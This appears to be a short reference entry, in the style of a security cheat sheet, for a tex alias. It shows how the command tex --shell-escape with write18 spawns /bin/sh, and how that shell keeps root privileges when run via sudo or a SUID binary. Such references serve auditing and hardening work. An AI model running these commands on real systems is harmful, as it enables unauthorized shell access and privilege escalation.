This is an alias of tex.
This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
tex --shell-escape '\immediate\write18{/bin/sh}'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
tex --shell-escape '\immediate\write18{/bin/sh}'
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
tex --shell-escape '\immediate\write18{/bin/sh}'